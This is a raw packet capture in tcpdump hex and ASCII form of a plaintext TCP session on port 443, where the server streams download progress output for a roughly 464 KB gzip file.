05:35:45.892390 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2410 win 31856 <nop,nop,timestamp 633027544 2127168> (DF)
0x0000 4500 0034 c664 4000 3106 c2f9 d380 635d E..4.d@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c437 ...~.9...er.O..7
0x0020 8010 7c70 a5a5 0000 0101 080a 25bb 3bd8 ..|p........%.;.
0x0030 0020 7540 ..u@
05:35:45.892626 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2410:2449(39) ack 1229 win 8576 <nop,nop,timestamp 2127187 633027544> (DF)
0x0000 4500 005b f2e8 4000 4006 874e 800a 097e E..[..@.@..N...~
0x0010 d380 635d 01bb 0639 4fd9 c437 2e65 72e3 ..c]...9O..7.er.
0x0020 8018 2180 a6bc 0000 0101 080a 0020 7553 ..!...........uS
0x0030 25bb 3bd8 3436 342c 3136 3020 5b61 7070 %.;.464,160.[app
0x0040 6c69 6361 7469 6f6e 2f78 2d67 7a69 705d lication/x-gzip]
0x0050 0a0a 2020 2020 304b 202e 2e ......0K...
05:35:45.892632 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2410:2449(39) ack 1229 win 8576 <nop,nop,timestamp 2127187 633027544> (DF)
0x0000 4500 005b f2e8 4000 4006 874e 800a 097e E..[..@.@..N...~
0x0010 d380 635d 01bb 0639 4fd9 c437 2e65 72e3 ..c]...9O..7.er.
0x0020 8018 2180 a6bc 0000 0101 080a 0020 7553 ..!...........uS
0x0030 25bb 3bd8 3436 342c 3136 3020 5b61 7070 %.;.464,160.[app
0x0040 6c69 6361 7469 6f6e 2f78 2d67 7a69 705d lication/x-gzip]
0x0050 0a0a 2020 2020 304b 202e 2e ......0K...
05:35:45.901390 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2449:2450(1) ack 1229 win 8576 <nop,nop,timestamp 2127188 633027544> (DF)
0x0000 4500 0035 f2e9 4000 4006 8773 800a 097e E..5..@.@..s...~
0x0010 d380 635d 01bb 0639 4fd9 c45e 2e65 72e3 ..c]...9O..^.er.
0x0020 8018 2180 d251 0000 0101 080a 0020 7554 ..!..Q........uT
0x0030 25bb 3bd8 2e %.;..
05:35:45.901393 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2449:2450(1) ack 1229 win 8576 <nop,nop,timestamp 2127188 633027544> (DF)
0x0000 4500 0035 f2e9 4000 4006 8773 800a 097e E..5..@.@..s...~
0x0010 d380 635d 01bb 0639 4fd9 c45e 2e65 72e3 ..c]...9O..^.er.
0x0020 8018 2180 d251 0000 0101 080a 0020 7554 ..!..Q........uT
0x0030 25bb 3bd8 2e %.;..
05:35:45.901654 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2450:2451(1) ack 1229 win 8576 <nop,nop,timestamp 2127188 633027544> (DF)
0x0000 4500 0035 f2ea 4000 4006 8772 800a 097e E..5..@.@..r...~
0x0010 d380 635d 01bb 0639 4fd9 c45f 2e65 72e3 ..c]...9O.._.er.
0x0020 8018 2180 d250 0000 0101 080a 0020 7554 ..!..P........uT
0x0030 25bb 3bd8 2e %.;..
05:35:45.901656 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2450:2451(1) ack 1229 win 8576 <nop,nop,timestamp 2127188 633027544> (DF)
0x0000 4500 0035 f2ea 4000 4006 8772 800a 097e E..5..@.@..r...~
0x0010 d380 635d 01bb 0639 4fd9 c45f 2e65 72e3 ..c]...9O.._.er.
0x0020 8018 2180 d250 0000 0101 080a 0020 7554 ..!..P........uT
0x0030 25bb 3bd8 2e %.;..
05:35:45.901696 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2451:2452(1) ack 1229 win 8576 <nop,nop,timestamp 2127188 633027544> (DF)
0x0000 4500 0035 f2eb 4000 4006 8771 800a 097e E..5..@.@..q...~
0x0010 d380 635d 01bb 0639 4fd9 c460 2e65 72e3 ..c]...9O..`.er.
0x0020 8018 2180 d24f 0000 0101 080a 0020 7554 ..!..O........uT
0x0030 25bb 3bd8 2e %.;..
05:35:45.901698 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2451:2452(1) ack 1229 win 8576 <nop,nop,timestamp 2127188 633027544> (DF)
0x0000 4500 0035 f2eb 4000 4006 8771 800a 097e E..5..@.@..q...~
0x0010 d380 635d 01bb 0639 4fd9 c460 2e65 72e3 ..c]...9O..`.er.
0x0020 8018 2180 d24f 0000 0101 080a 0020 7554 ..!..O........uT
0x0030 25bb 3bd8 2e %.;..
05:35:46.079469 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2450 win 31856 <nop,nop,timestamp 633027562 2127187,nop,nop,sack sack 1 {2451:2452} > (DF)
0x0000 4500 0040 c6e0 4000 3106 c271 d380 635d E..@..@.1..q..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c45f ...~.9...er.O.._
0x0020 b010 7c70 46cc 0000 0101 080a 25bb 3bea ..|pF.......%.;.
0x0030 0020 7553 0101 050a 4fd9 c460 4fd9 c461 ..uS....O..`O..a
05:35:46.079964 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2452:2455(3) ack 1229 win 8576 <nop,nop,timestamp 2127206 633027562> (DF)
0x0000 4500 0037 f2ec 4000 4006 876e 800a 097e E..7..@.@..n...~
0x0010 d380 635d 01bb 0639 4fd9 c461 2e65 72e3 ..c]...9O..a.er.
0x0020 8018 2180 a3fa 0000 0101 080a 0020 7566 ..!...........uf
0x0030 25bb 3bea 2e2e 2e %.;....
05:35:46.079970 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2452:2455(3) ack 1229 win 8576 <nop,nop,timestamp 2127206 633027562> (DF)
0x0000 4500 0037 f2ec 4000 4006 876e 800a 097e E..7..@.@..n...~
0x0010 d380 635d 01bb 0639 4fd9 c461 2e65 72e3 ..c]...9O..a.er.
0x0020 8018 2180 a3fa 0000 0101 080a 0020 7566 ..!...........uf
0x0030 25bb 3bea 2e2e 2e %.;....
05:35:46.092477 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2452 win 31856 <nop,nop,timestamp 633027564 2127188> (DF)
0x0000 4500 0034 c6e3 4000 3106 c27a d380 635d E..4..@.1..z..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c461 ...~.9...er.O..a
0x0020 8010 7c70 a553 0000 0101 080a 25bb 3bec ..|p.S......%.;.
0x0030 0020 7554 ..uT
05:35:46.097328 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2455:2456(1) ack 1229 win 8576 <nop,nop,timestamp 2127207 633027564> (DF)
0x0000 4500 0035 f2ed 4000 4006 876f 800a 097e E..5..@.@..o...~
0x0010 d380 635d 01bb 0639 4fd9 c464 2e65 72e3 ..c]...9O..d.er.
0x0020 8018 2180 d224 0000 0101 080a 0020 7567 ..!..$........ug
0x0030 25bb 3bec 2e %.;..
05:35:46.097331 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2455:2456(1) ack 1229 win 8576 <nop,nop,timestamp 2127207 633027564> (DF)
0x0000 4500 0035 f2ed 4000 4006 876f 800a 097e E..5..@.@..o...~
0x0010 d380 635d 01bb 0639 4fd9 c464 2e65 72e3 ..c]...9O..d.er.
0x0020 8018 2180 d224 0000 0101 080a 0020 7567 ..!..$........ug
0x0030 25bb 3bec 2e %.;..
05:35:46.097875 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2456:2457(1) ack 1229 win 8576 <nop,nop,timestamp 2127208 633027564> (DF)
0x0000 4500 0035 f2ee 4000 4006 876e 800a 097e E..5..@.@..n...~
0x0010 d380 635d 01bb 0639 4fd9 c465 2e65 72e3 ..c]...9O..e.er.
0x0020 8018 2180 d222 0000 0101 080a 0020 7568 ..!.."........uh
0x0030 25bb 3bec 2e %.;..
05:35:46.097879 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2456:2457(1) ack 1229 win 8576 <nop,nop,timestamp 2127208 633027564> (DF)
0x0000 4500 0035 f2ee 4000 4006 876e 800a 097e E..5..@.@..n...~
0x0010 d380 635d 01bb 0639 4fd9 c465 2e65 72e3 ..c]...9O..e.er.
0x0020 8018 2180 d222 0000 0101 080a 0020 7568 ..!.."........uh
0x0030 25bb 3bec 2e %.;..
05:35:46.098530 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2457:2458(1) ack 1229 win 8576 <nop,nop,timestamp 2127208 633027564> (DF)
0x0000 4500 0035 f2ef 4000 4006 876d 800a 097e E..5..@.@..m...~
0x0010 d380 635d 01bb 0639 4fd9 c466 2e65 72e3 ..c]...9O..f.er.
0x0020 8018 2180 e021 0000 0101 080a 0020 7568 ..!..!........uh
0x0030 25bb 3bec 20 %.;..
05:35:46.098533 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2457:2458(1) ack 1229 win 8576 <nop,nop,timestamp 2127208 633027564> (DF)
0x0000 4500 0035 f2ef 4000 4006 876d 800a 097e E..5..@.@..m...~
0x0010 d380 635d 01bb 0639 4fd9 c466 2e65 72e3 ..c]...9O..f.er.
0x0020 8018 2180 e021 0000 0101 080a 0020 7568 ..!..!........uh
0x0030 25bb 3bec 20 %.;..
05:35:46.272220 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2455 win 31856 <nop,nop,timestamp 633027582 2127206> (DF)
0x0000 4500 0034 c745 4000 3106 c218 d380 635d E..4.E@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c464 ...~.9...er.O..d
0x0020 8010 7c70 a52c 0000 0101 080a 25bb 3bfe ..|p.,......%.;.
0x0030 0020 7566 ..uf
05:35:46.272502 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2458:2467(9) ack 1229 win 8576 <nop,nop,timestamp 2127225 633027582> (DF)
0x0000 4500 003d f2f0 4000 4006 8764 800a 097e E..=..@.@..d...~
0x0010 d380 635d 01bb 0639 4fd9 c467 2e65 72e3 ..c]...9O..g.er.
0x0020 8018 2180 193d 0000 0101 080a 0020 7579 ..!..=........uy
0x0030 25bb 3bfe 2e2e 2e2e 2e2e 2e2e 2e %.;..........
05:35:46.272506 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2458:2467(9) ack 1229 win 8576 <nop,nop,timestamp 2127225 633027582> (DF)
0x0000 4500 003d f2f0 4000 4006 8764 800a 097e E..=..@.@..d...~
0x0010 d380 635d 01bb 0639 4fd9 c467 2e65 72e3 ..c]...9O..g.er.
0x0020 8018 2180 193d 0000 0101 080a 0020 7579 ..!..=........uy
0x0030 25bb 3bfe 2e2e 2e2e 2e2e 2e2e 2e %.;..........
05:35:46.294443 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2458 win 31856 <nop,nop,timestamp 633027584 2127207> (DF)
0x0000 4500 0034 c74c 4000 3106 c211 d380 635d E..4.L@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c467 ...~.9...er.O..g
0x0020 8010 7c70 a526 0000 0101 080a 25bb 3c00 ..|p.&......%.<.
0x0030 0020 7567 ..ug
05:35:46.295082 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2467:2468(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f1 4000 4006 876b 800a 097e E..5..@.@..k...~
0x0010 d380 635d 01bb 0639 4fd9 c470 2e65 72e3 ..c]...9O..p.er.
0x0020 8018 2180 d1f0 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 2e %.<..
05:35:46.295084 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2467:2468(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f1 4000 4006 876b 800a 097e E..5..@.@..k...~
0x0010 d380 635d 01bb 0639 4fd9 c470 2e65 72e3 ..c]...9O..p.er.
0x0020 8018 2180 d1f0 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 2e %.<..
05:35:46.295513 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2468:2469(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f2 4000 4006 876a 800a 097e E..5..@.@..j...~
0x0010 d380 635d 01bb 0639 4fd9 c471 2e65 72e3 ..c]...9O..q.er.
0x0020 8018 2180 dfef 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 20 %.<..
05:35:46.295517 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2468:2469(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f2 4000 4006 876a 800a 097e E..5..@.@..j...~
0x0010 d380 635d 01bb 0639 4fd9 c471 2e65 72e3 ..c]...9O..q.er.
0x0020 8018 2180 dfef 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 20 %.<..
05:35:46.295554 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2469:2470(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f3 4000 4006 8769 800a 097e E..5..@.@..i...~
0x0010 d380 635d 01bb 0639 4fd9 c472 2e65 72e3 ..c]...9O..r.er.
0x0020 8018 2180 d1ee 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 2e %.<..
05:35:46.295557 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2469:2470(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f3 4000 4006 8769 800a 097e E..5..@.@..i...~
0x0010 d380 635d 01bb 0639 4fd9 c472 2e65 72e3 ..c]...9O..r.er.
0x0020 8018 2180 d1ee 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 2e %.<..
05:35:46.295692 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2470:2471(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f4 4000 4006 8768 800a 097e E..5..@.@..h...~
0x0010 d380 635d 01bb 0639 4fd9 c473 2e65 72e3 ..c]...9O..s.er.
0x0020 8018 2180 d1ed 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 2e %.<..
05:35:46.295695 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2470:2471(1) ack 1229 win 8576 <nop,nop,timestamp 2127227 633027584> (DF)
0x0000 4500 0035 f2f4 4000 4006 8768 800a 097e E..5..@.@..h...~
0x0010 d380 635d 01bb 0639 4fd9 c473 2e65 72e3 ..c]...9O..s.er.
0x0020 8018 2180 d1ed 0000 0101 080a 0020 757b ..!...........u{
0x0030 25bb 3c00 2e %.<..
05:35:46.462892 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2467 win 31856 <nop,nop,timestamp 633027601 2127225> (DF)
0x0000 4500 0034 c7b4 4000 3106 c1a9 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c470 ...~.9...er.O..p
0x0020 8010 7c70 a4fa 0000 0101 080a 25bb 3c11 ..|p........%.<.
0x0030 0020 7579 ..uy
05:35:46.463208 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2471:2493(22) ack 1229 win 8576 <nop,nop,timestamp 2127244 633027601> (DF)
0x0000 4500 004a f2f5 4000 4006 8752 800a 097e E..J..@.@..R...~
0x0010 d380 635d 01bb 0639 4fd9 c474 2e65 72e3 ..c]...9O..t.er.
0x0020 8018 2180 11c8 0000 0101 080a 0020 758c ..!...........u.
0x0030 25bb 3c11 2e2e 2e2e 2e2e 2e2e 202e 2e2e %.<.............
0x0040 2e2e 2e2e 2e2e 2e20 2e2e ..........
05:35:46.463216 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2471:2493(22) ack 1229 win 8576 <nop,nop,timestamp 2127244 633027601> (DF)
0x0000 4500 004a f2f5 4000 4006 8752 800a 097e E..J..@.@..R...~
0x0010 d380 635d 01bb 0639 4fd9 c474 2e65 72e3 ..c]...9O..t.er.
0x0020 8018 2180 11c8 0000 0101 080a 0020 758c ..!...........u.
0x0030 25bb 3c11 2e2e 2e2e 2e2e 2e2e 202e 2e2e %.<.............
0x0040 2e2e 2e2e 2e2e 2e20 2e2e ..........
05:35:46.492576 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2493:2494(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027601> (DF)
0x0000 4500 0035 f2f6 4000 4006 8766 800a 097e E..5..@.@..f...~
0x0010 d380 635d 01bb 0639 4fd9 c48a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1b1 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c11 2e %.<..
05:35:46.492579 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2493:2494(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027601> (DF)
0x0000 4500 0035 f2f6 4000 4006 8766 800a 097e E..5..@.@..f...~
0x0010 d380 635d 01bb 0639 4fd9 c48a 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1b1 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c11 2e %.<..
05:35:46.492995 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2471 win 31856 <nop,nop,timestamp 633027604 2127227> (DF)
0x0000 4500 0034 c7d8 4000 3106 c185 d380 635d E..4..@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c474 ...~.9...er.O..t
0x0020 8010 7c70 a4f1 0000 0101 080a 25bb 3c14 ..|p........%.<.
0x0030 0020 757b ..u{
05:35:46.493099 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2494:2495(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2f7 4000 4006 8765 800a 097e E..5..@.@..e...~
0x0010 d380 635d 01bb 0639 4fd9 c48b 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1ad 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493102 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2494:2495(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2f7 4000 4006 8765 800a 097e E..5..@.@..e...~
0x0010 d380 635d 01bb 0639 4fd9 c48b 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1ad 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493143 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2495:2496(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2f8 4000 4006 8764 800a 097e E..5..@.@..d...~
0x0010 d380 635d 01bb 0639 4fd9 c48c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1ac 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493145 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2495:2496(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2f8 4000 4006 8764 800a 097e E..5..@.@..d...~
0x0010 d380 635d 01bb 0639 4fd9 c48c 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1ac 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493183 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2496:2497(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2f9 4000 4006 8763 800a 097e E..5..@.@..c...~
0x0010 d380 635d 01bb 0639 4fd9 c48d 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1ab 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493185 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2496:2497(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2f9 4000 4006 8763 800a 097e E..5..@.@..c...~
0x0010 d380 635d 01bb 0639 4fd9 c48d 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1ab 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493401 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2497:2498(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2fa 4000 4006 8762 800a 097e E..5..@.@..b...~
0x0010 d380 635d 01bb 0639 4fd9 c48e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1aa 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493403 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2497:2498(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2fa 4000 4006 8762 800a 097e E..5..@.@..b...~
0x0010 d380 635d 01bb 0639 4fd9 c48e 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1aa 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493813 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2498:2499(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2fb 4000 4006 8761 800a 097e E..5..@.@..a...~
0x0010 d380 635d 01bb 0639 4fd9 c48f 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1a9 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.493815 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2498:2499(1) ack 1229 win 8576 <nop,nop,timestamp 2127247 633027604> (DF)
0x0000 4500 0035 f2fb 4000 4006 8761 800a 097e E..5..@.@..a...~
0x0010 d380 635d 01bb 0639 4fd9 c48f 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d1a9 0000 0101 080a 0020 758f ..!...........u.
0x0030 25bb 3c14 2e %.<..
05:35:46.652404 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2493 win 31856 <nop,nop,timestamp 633027620 2127244> (DF)
0x0000 4500 0034 c827 4000 3106 c136 d380 635d E..4.'@.1..6..c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c48a ...~.9...er.O...
0x0020 8010 7c70 a4ba 0000 0101 080a 25bb 3c24 ..|p........%.<$
0x0030 0020 758c ..u.
05:35:46.652553 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2499:2559(60) ack 1229 win 8576 <nop,nop,timestamp 2127263 633027620> (DF)
0x0000 4500 0070 f2fc 4000 4006 8725 800a 097e E..p..@.@..%...~
0x0010 d380 635d 01bb 0639 4fd9 c490 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 a7c8 0000 0101 080a 0020 759f ..!...........u.
0x0030 25bb 3c24 2e2e 2031 3125 2040 2020 3633 %.<$...11%.@..63
0x0040 2e32 3920 4b42 2f73 0a20 2020 3530 4b20 .29.KB/s....50K.
0x0050 2e2e 2e2e 2e2e 2e2e 2e2e 202e 2e2e 2e2e ................
0x0060 2e2e 2e2e 2e20 2e2e 2e2e 2e2e 2e2e 2e2e ................
05:35:46.652557 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2499:2559(60) ack 1229 win 8576 <nop,nop,timestamp 2127263 633027620> (DF)
0x0000 4500 0070 f2fc 4000 4006 8725 800a 097e E..p..@.@..%...~
0x0010 d380 635d 01bb 0639 4fd9 c490 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 a7c8 0000 0101 080a 0020 759f ..!...........u.
0x0030 25bb 3c24 2e2e 2031 3125 2040 2020 3633 %.<$...11%.@..63
0x0040 2e32 3920 4b42 2f73 0a20 2020 3530 4b20 .29.KB/s....50K.
0x0050 2e2e 2e2e 2e2e 2e2e 2e2e 202e 2e2e 2e2e ................
0x0060 2e2e 2e2e 2e20 2e2e 2e2e 2e2e 2e2e 2e2e ................
05:35:46.682551 XX.XXX.XX.93.1593 > XXX.XX.X.126.443: . ack 2499 win 31856 <nop,nop,timestamp 633027623 2127247> (DF)
0x0000 4500 0034 c848 4000 3106 c115 d380 635d E..4.H@.1.....c]
0x0010 800a 097e 0639 01bb 2e65 72e3 4fd9 c490 ...~.9...er.O...
0x0020 8010 7c70 a4ae 0000 0101 080a 25bb 3c27 ..|p........%.<'
0x0030 0020 758f ..u.
05:35:46.687428 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2559:2560(1) ack 1229 win 8576 <nop,nop,timestamp 2127266 633027623> (DF)
0x0000 4500 0035 f2fd 4000 4006 875f 800a 097e E..5..@.@.._...~
0x0010 d380 635d 01bb 0639 4fd9 c4cc 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 df46 0000 0101 080a 0020 75a2 ..!..F........u.
0x0030 25bb 3c27 20 %.<'.
05:35:46.687431 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2559:2560(1) ack 1229 win 8576 <nop,nop,timestamp 2127266 633027623> (DF)
0x0000 4500 0035 f2fd 4000 4006 875f 800a 097e E..5..@.@.._...~
0x0010 d380 635d 01bb 0639 4fd9 c4cc 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 df46 0000 0101 080a 0020 75a2 ..!..F........u.
0x0030 25bb 3c27 20 %.<'.
05:35:46.687484 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2560:2561(1) ack 1229 win 8576 <nop,nop,timestamp 2127266 633027623> (DF)
0x0000 4500 0035 f2fe 4000 4006 875e 800a 097e E..5..@.@..^...~
0x0010 d380 635d 01bb 0639 4fd9 c4cd 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d145 0000 0101 080a 0020 75a2 ..!..E........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.687486 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2560:2561(1) ack 1229 win 8576 <nop,nop,timestamp 2127266 633027623> (DF)
0x0000 4500 0035 f2fe 4000 4006 875e 800a 097e E..5..@.@..^...~
0x0010 d380 635d 01bb 0639 4fd9 c4cd 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d145 0000 0101 080a 0020 75a2 ..!..E........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.687876 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2561:2562(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f2ff 4000 4006 875d 800a 097e E..5..@.@..]...~
0x0010 d380 635d 01bb 0639 4fd9 c4ce 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d143 0000 0101 080a 0020 75a3 ..!..C........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.687879 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2561:2562(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f2ff 4000 4006 875d 800a 097e E..5..@.@..]...~
0x0010 d380 635d 01bb 0639 4fd9 c4ce 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d143 0000 0101 080a 0020 75a3 ..!..C........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.687917 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2562:2563(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f300 4000 4006 875c 800a 097e E..5..@.@..\...~
0x0010 d380 635d 01bb 0639 4fd9 c4cf 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d142 0000 0101 080a 0020 75a3 ..!..B........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.687919 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2562:2563(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f300 4000 4006 875c 800a 097e E..5..@.@..\...~
0x0010 d380 635d 01bb 0639 4fd9 c4cf 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d142 0000 0101 080a 0020 75a3 ..!..B........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.687981 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2563:2564(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f301 4000 4006 875b 800a 097e E..5..@.@..[...~
0x0010 d380 635d 01bb 0639 4fd9 c4d0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d141 0000 0101 080a 0020 75a3 ..!..A........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.687984 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2563:2564(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f301 4000 4006 875b 800a 097e E..5..@.@..[...~
0x0010 d380 635d 01bb 0639 4fd9 c4d0 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d141 0000 0101 080a 0020 75a3 ..!..A........u.
0x0030 25bb 3c27 2e %.<'.
05:35:46.689509 XXX.XX.X.126.443 > XX.XXX.XX.93.1593: P 2564:2565(1) ack 1229 win 8576 <nop,nop,timestamp 2127267 633027623> (DF)
0x0000 4500 0035 f302 4000 4006 875a 800a 097e E..5..@.@..Z...~
0x0010 d380 635d 01bb 0639 4fd9 c4d1 2e65 72e3 ..c]...9O....er.
0x0020 8018 2180 d140 0000 0101 080a 0020 75a3 ..!..@........u.
0x0030 25bb 3c27 2e %.<'.
